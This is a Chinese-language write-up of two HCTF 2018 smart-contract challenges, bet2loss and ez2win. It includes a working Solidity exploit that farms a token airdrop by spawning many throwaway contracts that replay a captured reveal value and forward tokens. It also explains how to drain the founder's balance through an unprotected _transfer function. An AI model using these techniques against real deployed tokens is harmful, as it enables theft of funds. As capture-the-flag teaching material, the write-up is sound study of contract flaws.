possibleWinAmount = getDiceWinAmount(betnumber, modulo);
lockedInBets += uint128(possibleWinAmount);
// require (lockedInBets <= balances[owner], "Cannot afford to lose this bet.");
balances[msg.sender] = balances[msg.sender].sub(betnumber);
emit Commit(commit);
bet.betnumber = betnumber;
bet.modulo = uint8(modulo);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(betMask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal) external {
AirdropCheck();
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
settleBetCommon(bet, reveal);
}
function settleBetCommon(Bet storage bet, uint reveal) private {
uint betnumber = bet.betnumber;
uint mask = bet.mask;
uint modulo = bet.modulo;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
require (betnumber != 0, "Bet should be in an 'active' state");
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
diceWinAmount = getDiceWinAmount(betnumber, modulo);
uint diceWin = 0;
if (dice == mask){
diceWin = diceWinAmount;
}
lockedInBets -= uint128(diceWinAmount);
sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
}
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
winAmount = amount * modulo;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
transfer(beneficiary, amount);
emit Payment(beneficiary, successLogAmount);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
}
空投,自然想到薅羊毛。
这个代码很容易看出是从dice2win改过来的,有的参数都没有删干净。
可以参考里面的一些介绍。
dice2win主要的流程如下
1.【庄家承诺】庄家(secretSigner)随机生成某随机数reveal,同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度,设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig,同时把(commit, commitLastBlock,sig)发送给玩家。
2. 【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏,猜测一个随机数r,发送下注交易placeBet到智能合约上进行下注。
3. 【矿工打包】下注交易被以太坊矿工打包到区块block1中,并将玩家下注内容存储到合约存储空间中。
4.【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件,则用户胜,否则庄家胜。此外游戏还设有大奖机制,即如果某次random_number满足某个特殊值(如88888),则用户可赢得奖金池中的大奖。
可以简单地说,调用placeBet下注,调用settleBet开奖。
可以看一下我们可以调用哪些函数,直接把源码复制到remix中,部署一下
在右下角,我们可以看到可以调用的函数。
PayForFlag函数用来证明自己完成任务,让后台发flag的证明
placeBet函数下注
settleBet函数结算
setSecretSigner函数设置签名者,只有owner可以调用。(如果commit-reveal机制)
transfer 函数,直接可以从msg.sender账户中向特定地址转账。
简单可以想到,可以创建一个合约,调用这个合约的函数,创建多个临时合约(这里临时指的是,我们临时用一用,用完就不理它了),然后这些临时合约将钱转给某个特定的地址,那么就可以积少成多,达到题目的要求。
回头看看空投在哪里触发,AirdropCheck()
检查该用户是否新用户,如果是,则空投1000 B2GB。
在placeBet函数和settleBet函数中都有调用。
直接上EXP
pragma solidity ^0.4.24;
// Wow. Welcome to hctf2018
import "browser/bet2loss.sol";
contract KongTouBot{
constructor(address victim, address attack) public payable{
Bet2Loss victimContract = Bet2Loss(victim);
victimContract.settleBet(47080097);
victimContract.transfer(attack, 900);
}
function kill() public{
selfdestruct(0xdea21565e077aa6b5864446e1624f553dc158603);
}
}
contract Bet2LossEXP{
constructor() public {
for(var i=0; i < 50; i++){
KongTouBot tmp = new KongTouBot(0x006b9bc418e43e92cf8d380c56b8d4be41fda319,msg.sender);
//tmp.kill();
}
//selfdestruct(msg.sender);
}
function attack(uint num) public {
for(var i=0; i < num; i++){
KongTouBot tmp = new KongTouBot(0x006b9bc418e43e92cf8d380c56b8d4be41fda319,msg.sender);
//tmp.kill();
}
}
}
victimContract.settleBet(47080097);
这里需要稍微理解commit-reveal机制,从庄家开奖的交易中找参数,因为这里没有限制只能开奖一次(不过注意,转账是从调用开奖这个函数的人那里转给下注的人)。
然后,疯狂跑就是了,建议用geth接入测试网络,然后web3.js来直接批量操作,不然,如果使用metamask,你会很绝望,要一个一个交易确认。
ez2win
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event GetFlag(
string b64email,
string back
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
mapping(address => bool) initialized;
uint256 public _totalSupply;
uint256 public constant _airdropAmount = 10;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
AirdropCheck();
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));
require(value <= 10000000);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
}
contract D2GBToken is ERC20 {
string public constant name = "D2GB";
string public constant symbol = "D2GB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
initialized[msg.sender] = true;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
}
给了源码。
拿去部署下,很容易发现_transfer函数可以直接访问,即可以指定任意地址向某地址转账。
直接在交易中找创始人,调用该函数向自己的地址转题目要求i的金额就是。